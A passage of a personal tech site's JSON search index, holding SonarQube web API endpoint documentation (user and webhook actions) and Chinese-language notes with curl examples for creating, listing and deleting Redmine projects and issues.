\u0026#34;since\u0026#34;: \u0026#34;10.0\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;50\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter on login, name and email.\\u003Cbr /\\u003EThis parameter can either perform an exact match, or a partial match (contains), it is case insensitive.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;minimumLength\u0026#34;: 2 }, { \u0026#34;key\u0026#34;: \u0026#34;slLastConnectedAfter\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the users based on the sonar lint last connection date field\\nOnly users who interacted with this instance using SonarLint at or after the date will be returned.\\nThe format must be ISO 8601 datetime format (YYYY-MM-DDThh:mm:ss±hhmm)\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2020-01-01T00:00:00+0100\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;slLastConnectedBefore\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the users based on the sonar lint last connection date field.\\nOnly users that never connected or who interacted with this instance using SonarLint at or before the date will be returned.\\nThe format must be ISO 8601 datetime format (YYYY-MM-DDThh:mm:ss±hhmm)\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2020-01-01T00:00:00+0100\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a user.\\u003Cbr/\\u003ERequires Administer System permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.7\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use PATCH api/v2/users-management/users/{id} instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;User\u0026#39;s password can only be changed using the \u0026#39;change_password\u0026#39; action.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;email\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User email\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;myname@email.com\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;myuser\u0026#34;, \u0026#34;maximumLength\u0026#34;: 255 }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Name\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;scmAccount\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;SCM accounts. To set several values, the parameter must be called once for each value.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;scmAccount=firstValue\u0026amp;scmAccount=secondValue\u0026amp;scmAccount=thirdValue\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_identity_provider\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update identity provider information. \\u003Cbr/\\u003EIt\u0026#39;s only possible to migrate to an installed identity provider. Be careful that as soon as this information has been updated for a user, the user will only be able to authenticate on the new identity provider. It is not possible to migrate external user to local one.\\u003Cbr/\\u003ERequires Administer System permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.7\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use PATCH api/v2/users-management/users/{id} instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Use of \u0026#39;sonarqube\u0026#39; for the value of \u0026#39;newExternalProvider\u0026#39; is deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;newExternalIdentity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New external identity, usually the login used in the authentication system. If not provided previous identity will be used.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;newExternalProvider\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New external provider. Only authentication system installed are available. Use \u0026#39;LDAP\u0026#39; identity provider for single server LDAP setup.Use \u0026#39;LDAP_{serverKey}\u0026#39; identity provider for multiple LDAP servers setup.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a user login. A login can be updated many times.\\u003Cbr/\\u003ERequires Administer System permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.6\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use PATCH api/v2/users-management/users/{id} instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The current login (case-sensitive)\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;mylogin\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;newLogin\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The new login. It must not already exist.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;mynewlogin\u0026#34;, \u0026#34;maximumLength\u0026#34;: 255, \u0026#34;minimumLength\u0026#34;: 2 } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/webhooks\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.2\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Webhooks allow to notify external services when a project analysis is done\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;create\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a Webhook.\\u003Cbr\\u003ERequires \u0026#39;Administer\u0026#39; permission on the specified project, or global \u0026#39;Administer\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name displayed in the administration console of webhooks\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Webhook\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The key of the project that will own the webhook\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34;, \u0026#34;maximumLength\u0026#34;: 400 }, { \u0026#34;key\u0026#34;: \u0026#34;secret\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;If provided, secret will be used as the key to generate the HMAC hex (lowercase) digest value in the \u0026#39;X-Sonar-Webhook-HMAC-SHA256\u0026#39; header\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.8\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;your_secret\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200, \u0026#34;minimumLength\u0026#34;: 1 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Server endpoint that will receive the webhook payload, for example \u0026#39;http://my_server/foo\u0026#39;. If HTTP Basic authentication is used, HTTPS is recommended to avoid man in the middle attacks. Example: \u0026#39;https://myLogin:myPassword@my_server/foo\u0026#39;\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;https://www.my-webhook-listener.com/sonar\u0026#34;, \u0026#34;maximumLength\u0026#34;: 512 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a Webhook.\\u003Cbr\\u003ERequires \u0026#39;Administer\u0026#39; permission on the specified project, or global \u0026#39;Administer\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;webhook\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The key of the webhook to be deleted, auto-generated value can be obtained through api/webhooks/create or api/webhooks/list\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34;, \u0026#34;maximumLength\u0026#34;: 40 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;deliveries\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the recent deliveries for a specified project or Compute Engine task.\\u003Cbr/\\u003ERequire \u0026#39;Administer\u0026#39; permission on the related project.\\u003Cbr/\\u003ENote that additional information are returned by api/webhooks/delivery.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;ceTaskId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Id of the Compute Engine task\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;componentKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the project\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my-project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less than 500\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;10\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;webhook\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the webhook that triggered those deliveries, auto-generated value that can be obtained through api/webhooks/create or api/webhooks/list\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FLz\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delivery\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get a webhook delivery by its id.\\u003Cbr/\\u003ERequire \u0026#39;Administer System\u0026#39; permission.\\u003Cbr/\\u003ENote that additional information are returned by api/webhooks/delivery.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;deliveryId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Id of delivery\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FL3\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;list\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for global webhooks or project webhooks. Webhooks are ordered by name.\\u003Cbr\\u003ERequires \u0026#39;Administer\u0026#39; permission on the specified project, or global \u0026#39;Administer\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;secret\u0026#39; replaced by flag \u0026#39;hasSecret\u0026#39; in response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;secret\u0026#39; added to response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.8\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a Webhook.\\u003Cbr\\u003ERequires \u0026#39;Administer\u0026#39; permission on the specified project, or global \u0026#39;Administer\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;new name of the webhook\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Webhook\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;secret\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;If provided, secret will be used as the key to generate the HMAC hex (lowercase) digest value in the \u0026#39;X-Sonar-Webhook-HMAC-SHA256\u0026#39; header. If blank, any secret previously configured will be removed. If not set, the secret will remain unchanged.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.8\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;your_secret\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;new url to be called by the webhook\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;https://www.my-webhook-listener.com/sonar\u0026#34;, \u0026#34;maximumLength\u0026#34;: 512 }, { \u0026#34;key\u0026#34;: \u0026#34;webhook\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The key of the webhook to be updated, auto-generated value can be obtained through api/webhooks/create or api/webhooks/list\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34;, \u0026#34;maximumLength\u0026#34;: 40 } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/webservices\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.2\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get information on the web api supported on this instance.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;list\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List web services\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;include_internals\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Include web services that are implemented for internal use only. Their forward-compatibility is not assured\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;response_example\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Display web service response example\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;action\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Action of the web service\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;search\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;controller\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Controller of the web service\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;api/issues\u0026#34; } ] } ] } ] } ","date":"October 4, 2024","externalUrl":null,"permalink":"/worknot/sonarqube-api/","section":"Worknots","summary":" 基本 URL: http:///api 如何驗證 # 創建 API Token # 登入到 SonarQube 的 Web 界面。 點擊右上角的你的使用者名稱，然後選擇 “我的帳戶 (My Account)”。 在 “安全 (Security)” 標籤中，你會看到一個按鈕 “生成令牌 (Generate Tokens)”。 給令牌命名並點擊生成。生成後記下這個令牌，因為你無法再次查看它。 使用帳號驗證 # 1 curl -k -u \u003cyour-token\u003e: '\u003cyour-sonarqube-instance/projects/search' 使用 HTTP Authorization Header # 以下範例將使用 Authorization Header 方式驗證，方變程式化使用\n","title":"SonarQube-API","type":"worknot"},{"content":"","date":"September 15, 2024","externalUrl":null,"permalink":"/tags/redmine/","section":"Tags","summary":"","title":"Redmine","type":"tags"},{"content":"以下是 redmine API 筆記\n在使用 API 之前記得先取得 token，token 會在 [我的帳戶] - [API 存取金鑰] 中，每個帳戶都會有一組。\n取得 Token 之後就可以進行操作了\n在這邊我會使用兩個參數方便接下來的操作\n1 2 API_KRY=your_token REDMINE_URL=\u0026#34;redmine 網址\u0026#34; 新增專案 # 首先我們來新增專案，這邊我們紀錄一下 identifier 這個欄位資訊: 「new1」，等等新增 ISSUE 會使用到\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 curl -k -X POST -H \u0026#34;Content-Type: application/json\u0026#34; \\ -H \u0026#34;X-Redmine-API-Key: ${API_KRY}\u0026#34; \\ -d \u0026#39;{ \u0026#34;project\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;New Project\u0026#34;, \u0026#34;identifier\u0026#34;: \u0026#34;new1\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;This is a new project\u0026#34;, \u0026#34;parent_id\u0026#34;: 15, \u0026#34;is_public\u0026#34;: false, \u0026#34;inherit_members\u0026#34;: true, \u0026#34;enabled_module_names\u0026#34;: [\u0026#34;issue_tracking\u0026#34;,\u0026#34;time_tracking\u0026#34;,\u0026#34;calendar\u0026#34;,\u0026#34;gantt\u0026#34;], \u0026#34;tracker_ids\u0026#34;: [38,39,42], \u0026#34;issue_custom_field_ids\u0026#34;: [21] } }\u0026#39; \\ \u0026#34;${REDMINE_URL}/projects.json\u0026#34; 特別說明這邊有用到下列欄位\nparent_id: 父專案 is_public: 公開 enabled_module_names: 模組 tracker_ids: 追蹤標籤清單 issue_custom_field_ids: 自訂欄位清單 實際操作如下\n1 2 ❯ curl -k -X POST -H \u0026#34;Content-Type: application/json\u0026#34; -H \u0026#34;X-Redmine-API-Key: ${API_KRY}\u0026#34; -d \u0026#39;{\u0026#34;project\u0026#34;: {\u0026#34;name\u0026#34;: \u0026#34;New Project\u0026#34;,\u0026#34;identifier\u0026#34;: \u0026#34;new1\u0026#34;,\u0026#34;description\u0026#34;: \u0026#34;This is a new project\u0026#34;,\u0026#34;parent_id\u0026#34;: 15, \u0026#34;is_public\u0026#34;: false,\u0026#34;inherit_members\u0026#34;: true,\u0026#34;enabled_module_names\u0026#34;: [\u0026#34;issue_tracking\u0026#34;,\u0026#34;time_tracking\u0026#34;,\u0026#34;calendar\u0026#34;,\u0026#34;gantt\u0026#34;],\u0026#34;tracker_ids\u0026#34;: [38,39,42],\u0026#34;issue_custom_field_ids\u0026#34;: [21]}}\u0026#39; \u0026#34;${REDMINE_URL}/projects.json\u0026#34; {\u0026#34;project\u0026#34;:{\u0026#34;id\u0026#34;:33,\u0026#34;name\u0026#34;:\u0026#34;New Project\u0026#34;,\u0026#34;identifier\u0026#34;:\u0026#34;new1\u0026#34;,\u0026#34;description\u0026#34;:\u0026#34;This is a new project\u0026#34;,\u0026#34;homepage\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;parent\u0026#34;:{\u0026#34;id\u0026#34;:15,\u0026#34;name\u0026#34;:\u0026#34;05_外部系統管理\u0026#34;},\u0026#34;status\u0026#34;:1,\u0026#34;is_public\u0026#34;:false,\u0026#34;inherit_members\u0026#34;:true,\u0026#34;created_on\u0026#34;:\u0026#34;2024-09-15T14:45:47Z\u0026#34;,\u0026#34;updated_on\u0026#34;:\u0026#34;2024-09-15T14:45:47Z\u0026#34;}}% 查詢專案 # 1 curl -k -H \u0026#34;X-Redmine-API-Key: ${API_KRY}\u0026#34; \u0026#34;${REDMINE_URL}/projects.json\u0026#34; 回傳結果\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { \u0026#34;projects\u0026#34;: [ { \u0026#34;id\u0026#34;: 5, \u0026#34;name\u0026#34;: \u0026#34;01_日常管理\u0026#34;, \u0026#34;identifier\u0026#34;: \u0026#34;mis\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;MIS日常固定業務\u0026#34;, \u0026#34;homepage\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;status\u0026#34;: 1, \u0026#34;is_public\u0026#34;: false, \u0026#34;inherit_members\u0026#34;: false, \u0026#34;created_on\u0026#34;: \u0026#34;2024-09-12T15:11:20Z\u0026#34;, \u0026#34;updated_on\u0026#34;: \u0026#34;2024-09-12T15:14:39Z\u0026#34; } ], \u0026#34;total_count\u0026#34;: 1, \u0026#34;offset\u0026#34;: 0, \u0026#34;limit\u0026#34;: 25 } 刪除專案 # 1 curl -k -X DELETE -H \u0026#34;X-Redmine-API-Key: ${API_KRY}\u0026#34; \u0026#34;${REDMINE_URL}/projects/new1.json\u0026#34; 新增 ISSUE # 新增完專案之後接下來就可以新增 ISSUE。還記得剛剛紀錄的 identifier 欄位資訊: 「new1」，這個範例會將新的 ISSUE 新增到 new1 這個專案\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 curl -k -X POST -H \u0026#34;Content-Type: application/json\u0026#34; \\ -H \u0026#34;X-Redmine-API-Key: ${API_KRY}\u0026#34; \\ -d \u0026#39;{ \u0026#34;issue\u0026#34;: { \u0026#34;project_id\u0026#34;: \u0026#34;new1\u0026#34;, \u0026#34;subject\u0026#34;: \u0026#34;資料庫 datafile 擴充\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Oracle datafile 快滿了，需要進行擴充\u0026#34;, \u0026#34;tracker_id\u0026#34;: 38, \u0026#34;status_id\u0026#34;: 1, \u0026#34;priority_id\u0026#34;: 4, \u0026#34;assigned_to_id\u0026#34;: 5, \u0026#34;start_date\u0026#34;: \u0026#34;2024-09-16\u0026#34;, \u0026#34;custom_fields\u0026#34;: [ { \u0026#34;id\u0026#34;: 13, \u0026#34;value\u0026#34;: \u0026#34;2024-09-15\u0026#34; } ] } }\u0026#39; \\ \u0026#34;${REDMINE_URL}issues.json\u0026#34; 特別說明這邊有用到下列欄位\ncustom_fields: 自訂欄位 實際操作如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ❯ curl -k -X POST -H \u0026#34;Content-Type: application/json\u0026#34; \\ -H \u0026#34;X-Redmine-API-Key: ${API_KRY}\u0026#34; \\ -d \u0026#39;{ \u0026#34;issue\u0026#34;: { \u0026#34;project_id\u0026#34;: \u0026#34;new1\u0026#34;, \u0026#34;subject\u0026#34;: \u0026#34;資料庫 datafile 擴充\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Oracle datafile 快滿了，需要進行擴充\u0026#34;, \u0026#34;tracker_id\u0026#34;: 38, \u0026#34;status_id\u0026#34;: 1, \u0026#34;priority_id\u0026#34;: 4, \u0026#34;assigned_to_id\u0026#34;: 5, \u0026#34;start_date\u0026#34;: \u0026#34;2024-09-16\u0026#34;, \u0026#34;custom_fields\u0026#34;: [ { \u0026#34;id\u0026#34;: 13, \u0026#34;value\u0026#34;: \u0026#34;2024-09-15\u0026#34; } ] } }\u0026#39; \\ \u0026#34;${REDMINE_URL}issues.json\u0026#34; {\u0026#34;issue\u0026#34;:{\u0026#34;id\u0026#34;:12,\u0026#34;project\u0026#34;:{\u0026#34;id\u0026#34;:16,\u0026#34;name\u0026#34;:\u0026#34;This is a new 